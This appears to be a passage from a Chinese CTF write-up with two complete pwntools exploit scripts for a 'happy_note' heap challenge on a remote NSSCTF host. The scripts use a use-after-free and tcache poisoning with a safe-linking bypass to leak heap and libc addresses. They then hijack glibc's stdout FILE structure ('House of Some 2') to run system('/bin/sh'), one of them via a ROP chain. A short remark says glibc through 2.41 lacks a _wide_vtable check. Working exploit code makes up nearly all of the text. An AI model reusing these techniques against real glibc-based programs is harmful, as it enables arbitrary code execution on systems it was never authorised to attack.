r = remote('node4.anna.nssctf.cn', 28681)

def add(idx, size, mode=1):
r.sendlineafter(b'>> ', b'1')
r.sendlineafter(b'Note size:', str(size).encode())
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode())
sleep(T)

def delete(idx):
r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'>> ', b'3')
r.sendlineafter(b'Which one do you want to show?', str(idx).encode())
r.recvuntil(b'content: ')
return r.recvline()[:-1]

def edit(idx, content):
r.sendlineafter(b'>> ', b'4')
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendafter(b'Edit your content:', content)
sleep(T)

def uaf(idx):
r.sendlineafter(b'>> ', b'666')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

AUTOGDB and g.execute('p "fastbin attack and uaf"') and sleep(T)
for i in range(7):
add(i, 0x78)
add(11, 0x78)
for i in range(7):
delete(i)
uaf(11)
AUTOGDB and g.execute('bins') and sleep(T)


AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
heap_base = u64(show(11).ljust(8, b'\x00')) << 12
print(f'{hex(heap_base) = }')

def PROTECT_PTR(ptr, pos):
return (pos >> 12) ^ ptr


AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
for i in range(8):
add(i, 0x200)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('set $chunk5=*(size_t*)$rebase(0x40c8)-0x10') and sleep(T)
AUTOGDB and g.execute('set $chunk4=*(size_t*)$rebase(0x40c0)-0x10') and sleep(T)
edit(5, b'\x00' * 0x190 + p64(0) + p64(0x81)) # chunk 6 => unsortedbin
# fakechunk => heap_base + 0x1280
edit(4, b'\x00' * 0x190 + p64(0) + p64(0x81)) # todo: rewrite chunk5 => heap_base + 0x1070
delete(7) # split top_chunk
for i in range(7):
delete(i)
AUTOGDB and g.execute('hexdump $chunk5 0x500') and sleep(T)

edit(11, p64(PROTECT_PTR(heap_base + 0x1280, heap_base)))
add(10, 0x78) # chunk10 == chunk11 (pointer)
AUTOGDB and g.execute('bins') and sleep(T)

add(9, 0x78) # fake_chunk
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

edit(9, b'9' * 0x78) # calloc => '9' * 0x78 + chunk6->bk
AUTOGDB and g.execute('hexdump $chunk5 0x500') and sleep(T)
if DEBUG:
libc_base = u64(show(9)[0x78:].ljust(8, b'\x00')) - 0x1e0ce0
libc = ELF('libc-2.35-debug.so')
else:
libc_base = u64(show(9)[0x78:].ljust(8, b'\x00')) - 0x1e0ce0 - 0x39000
libc = ELF('libc6_2.35-0ubuntu3_amd64.so')
print(f'{hex(libc_base) = }')
libc.address = libc_base


AUTOGDB and g.execute('p "hijack stdout"') and sleep(T)
delete(10)
edit(11, p64(PROTECT_PTR(heap_base + 0x1070, heap_base)))
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
add(10, 0x78) # chunk10 == chunk11 (pointer)
add(8, 0x78) # fake_chunk

libc_stdout = libc.symbols['_IO_2_1_stdout_']
'''
'8' * 0x60
0 size
stdout tcache_key
'''
edit(8, b'8' * 0x60 + p64(0) + p64(0x211) + p64(PROTECT_PTR(libc_stdout - 0x10, heap_base+0x1000)))
AUTOGDB and g.execute('hexdump $chunk4 0x500') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

add(0, 0x200, 2)
add(1, 0x200, 2) # stdout - 0x10 (e->key)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)


AUTOGDB and g.execute('p "house of some 2"') and sleep(T)
if DEBUG:
libc_IO_wfile_jumps_maybe_mmap = libc.symbols['_IO_wfile_jumps_maybe_mmap']
libc_IO_str_jumps = libc.symbols['_IO_str_jumps']
else:
# not found
libc_IO_wfile_jumps_maybe_mmap = libc_base + 0x215F40
libc_IO_str_jumps = libc_base + 0x2166C0
libc_IO_default_xsputn = libc_IO_str_jumps + 0x38
libc_IO_default_xsgetn = libc_IO_str_jumps + 0x40

# read(stdout->_fileno, stdout->_IO_buf_base, stdout->_IO_buf_end - stdout->_IO_buf_base)
payload1 = flat({
0x00: 0x8000, # _IO_USER_LOCK => disable lock
0x38: libc_stdout, # _IO_buf_base => read buf
0x40: libc_stdout + 0x1c8, # _IO_buf_end => read nbytes 0x1c8,
# size of _IO_FILE_plus + _IO_wide_data
0x70: 0, # _fileno => read fd, stdin
0xa0: libc_stdout + 0x100, # _wide_data => writable address,
# or corrupt in fileops.c:717,
# decide_maybe_mmap: fp->_wide_data->_wide_vtable = &_IO_wfile_jumps;
0xc0: 0, # _mode < 0
0xd8: libc_IO_wfile_jumps_maybe_mmap - 0x18, # vtable
}, filler=b"\x00")
payload1 = payload1 # stderr._unused2 and stderr.vtable
if DEBUG:
AUTOGDB and g.execute('b fileops.c:667') and sleep(T)
else:
#AUTOGDB and g.execute('b puts') and sleep(T) # _IO_OVERFLOW in _IO_new_file_xsputn
#AUTOGDB and g.execute(f'b *{hex(libc_base + 0x86078)}') and sleep(T) # decide_maybe_mmap
#AUTOGDB and g.execute(f'b *{hex(libc_base + 0x8ccb3)}') and sleep(T) # read in _IO_file_underflow
#AUTOGDB and g.execute(f'b *{hex(libc_base + 0x8ba34)}') and sleep(T) # _IO_SYSSTAT
AUTOGDB and g.execute(f'b *{hex(libc_base + 0x8cd01)}') and sleep(T) # ret
libc_pop_rdi = libc_base + 0x2a3e5
libc_ret = libc_base + 0x29cd6
edit(1, p64(0)*2 + payload1)

libc_system = libc.symbols['system']
libc_sh = next(libc.search(b'/bin/sh'))

offset_retn = 0xc8 # retn of _IO_file_underflow_maybe_mmap
rop = [
libc_ret, # align to 16 bytes
libc_pop_rdi, libc_sh,
libc_system
]
# 0x1c8 => _IO_FILE_plus + _IO_wide_data
rdx = offset_retn + 0x1c8 # real House of Some 2

# mempcpy(stdio->_IO_write_ptr, &st, stdout->_IO_buf_end - stdout->_IO_buf_base)
# read(stdout->_fileno, stdout->_IO_buf_base, stdout->_IO_buf_end - stdout->_IO_buf_base)
payload2 = flat({
0x08: libc_stdout, # _IO_read_ptr => readable address,
# or corrupu in fileops:537,
# return *(unsigned char *) fp->_IO_read_ptr;
0x28: libc_stdout - rdx, # _IO_write_ptr => memcpy dest
0x30: libc_stdout, # _IO_write_end => memcpy n = rdx
0x38: libc_stdout - rdx + offset_retn, # _IO_buf_base => read buf
0x40: libc_stdout + 0x1c8, # _IO_buf_end => memcpy n and read nbytes,
# size of stack + stdout(_IO_FILE_plus + _IO_wide_data)
0x70: 0, # _fileno => read fd, stdin
0xa0: libc_stdout + 0xe0, # _wide_data => libc_stdout + 0xe0
0xc0: 0, # _mode < 0
0xd8: libc_IO_default_xsputn - 0x90, # vtable, 0x90 => offset of __stat in _IO_jump_t
0xe0: {
0xe0: libc_IO_wfile_jumps_maybe_mmap # _wide_data->_wide_vtable
}
}, filler=b"\x00")
r.send(payload2)

# mempcpy(&st, stdio->_IO_read_ptr, stdout->_IO_buf_end - stdout->_IO_buf_base)
# read(stdout->_fileno, stdout->_IO_buf_base, stdout->_IO_buf_end - stdout->_IO_buf_base)
payload3 = flat({
#0x00: 0xdeadbeaf, # retn
0x00: rop, # retn
rdx - offset_retn: {
0x08: libc_stdout - rdx, # _IO_read_ptr => memcpy src
0x10: libc_stdout, # _IO_read_end => memcpy n = rdx
0xa0: libc_stdout + 0xe0, # _wide_data => libc_stdout + 0xe0
0xc0: 0, # _mode < 0
0xd8: libc_IO_default_xsgetn - 0x90, # vtable, 0x90 => offset of __stat in _IO_jump_t
0xe0: {
0xe0: libc_IO_wfile_jumps_maybe_mmap # _wide_data->_wide_vtable
}
}
}, filler=b"\x00")
r.send(payload3)

r.interactive()
r.close()

没有_wide_vtable检查的HoS2·

目前为止的libc-2.41都还没给_wide_vtable加上validate检查

所以可以像笔记vol.4那样打个偷懒的House of Some 2

参考代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from pwn import *
from time import sleep
context.log_level = 'debug'
context.arch = 'amd64' # for flat
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1

LOCAL = False
AUTOGDB = True
DEBUG = False
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./happy_note', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('dir ./src') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir ./src')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node4.anna.nssctf.cn', 28956)

def add(idx, size, mode=1):
r.sendlineafter(b'>> ', b'1')
r.sendlineafter(b'Note size:', str(size).encode())
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode())
sleep(T)

def delete(idx):
r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'>> ', b'3')
r.sendlineafter(b'Which one do you want to show?', str(idx).encode())
r.recvuntil(b'content: ')
return r.recvline()[:-1]

def edit(idx, content):
r.sendlineafter(b'>> ', b'4')
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendafter(b'Edit your content:', content)
sleep(T)

def uaf(idx):
r.sendlineafter(b'>> ', b'666')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

AUTOGDB and g.execute('p "fastbin attack and uaf"') and sleep(T)
for i in range(7):
add(i, 0x78)
add(11, 0x78)
for i in range(7):
delete(i)
uaf(11)
AUTOGDB and g.execute('bins') and sleep(T)


AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
heap_base = u64(show(11).ljust(8, b'\x00')) << 12
print(f'{hex(heap_base) = }')

def PROTECT_PTR(ptr, pos):
return (pos >> 12) ^ ptr


AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
for i in range(8):
add(i, 0x200)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('set $chunk5=*(size_t*)$rebase(0x40c8)-0x10') and sleep(T)
AUTOGDB and g.execute('set $chunk4=*(size_t*)$rebase(0x40c0)-0x10') and sleep(T)
edit(5, b'\x00' * 0x190 + p64(0) + p64(0x81)) # chunk 6 => unsortedbin
# fakechunk => heap_base + 0x1280
edit(4, b'\x00' * 0x190 + p64(0) + p64(0x81)) # todo: rewrite chunk5 => heap_base + 0x1070
delete(7) # split top_chunk
for i in range(7):
delete(i)
AUTOGDB and g.execute('hexdump $chunk5 0x500') and sleep(T)

edit(11, p64(PROTECT_PTR(heap_base + 0x1280, heap_base)))
add(10, 0x78) # chunk10 == chunk11 (pointer)
AUTOGDB and g.execute('bins') and sleep(T)

add(9, 0x78) # fake_chunk
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

edit(9, b'9' * 0x78) # calloc => '9' * 0x78 + chunk6->bk
AUTOGDB and g.execute('hexdump $chunk5 0x500') and sleep(T)
if DEBUG:
libc_base = u64(show(9)[0x78:].ljust(8, b'\x00')) - 0x1e0ce0
libc = ELF('libc-2.35-debug.so')
else:
libc_base = u64(show(9)[0x78:].ljust(8, b'\x00')) - 0x1e0ce0 - 0x39000
libc = ELF('libc6_2.35-0ubuntu3_amd64.so')
print(f'{hex(libc_base) = }')
libc.address = libc_base


AUTOGDB and g.execute('p "hijack stdout"') and sleep(T)
delete(10)
edit(11, p64(PROTECT_PTR(heap_base + 0x1070, heap_base)))
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
add(10, 0x78) # chunk10 == chunk11 (pointer)
add(8, 0x78) # fake_chunk

libc_stdout = libc.symbols['_IO_2_1_stdout_']
'''
'8' * 0x60
0 size
stdout tcache_key
'''
edit(8, b'8' * 0x60 + p64(0) + p64(0x211) + p64(PROTECT_PTR(libc_stdout - 0x10, heap_base+0x1000)))
AUTOGDB and g.execute('hexdump $chunk4 0x500') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

add(0, 0x200, 2)
add(1, 0x200, 2) # stdout - 0x10 (e->key)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)


AUTOGDB and g.execute('p "house of some 2"') and sleep(T)
if DEBUG:
libc_IO_wfile_jumps_maybe_mmap = libc.symbols['_IO_wfile_jumps_maybe_mmap']
else:
# not found
libc_IO_wfile_jumps_maybe_mmap = libc_base + 0x215F40

# read(stdout->_fileno, stdout->_IO_buf_base, stdout->_IO_buf_end - stdout->_IO_buf_base)
payload1 = flat({
0x00: 0x8000, # _IO_USER_LOCK => disable lock
0x38: libc_stdout, # _IO_buf_base => read buf
0x40: libc_stdout + 0x1c8, # _IO_buf_end => read nbytes 0x1c8,
# size of _IO_FILE_plus + _IO_wide_data
0x70: 0, # _fileno => read fd, stdin
0xa0: libc_stdout + 0x100, # _wide_data => writable address,
# or corrupt in fileops.c:717,
# decide_maybe_mmap: fp->_wide_data->_wide_vtable = &_IO_wfile_jumps;
0xc0: 0, # _mode < 0
0xd8: libc_IO_wfile_jumps_maybe_mmap - 0x18, # vtable
}, filler=b"\x00")
payload1 = payload1 # stderr._unused2 and stderr.vtable
if DEBUG:
AUTOGDB and g.execute('b fileops.c:667') and sleep(T)

libc_system = libc.symbols['system']
edit(1, p64(0) + p64(libc_system) + payload1)

payload2 = flat({
0x00: u64(b'/bin/sh\x00'),
0x08: libc_stdout, # _IO_read_ptr > readable address,
# or corrupu in fileops:537,
# return *(unsigned char *) fp->_IO_read_ptr;
0x38: libc_stdout,
0x40: libc_stdout, # _IO_buf_end > read n = 0,
0xa0: libc_stdout + 0xe0, # _wide_data > libc_stdout + 0xe0
0xc0: 0, # _mode < 0
0xe0: {
0xe0: libc_stdout - 0x8 - 0x20 # _wide_vtable > _IO_WUNDERFLOW -> system
}
}, filler=b"\x00")
AUTOGDB and g.execute(f'b *{hex(libc_base + 0x8dfa8)}') and sleep(T) # system
r.send(payload2)

r.interactive()
r.close()

历史笔记·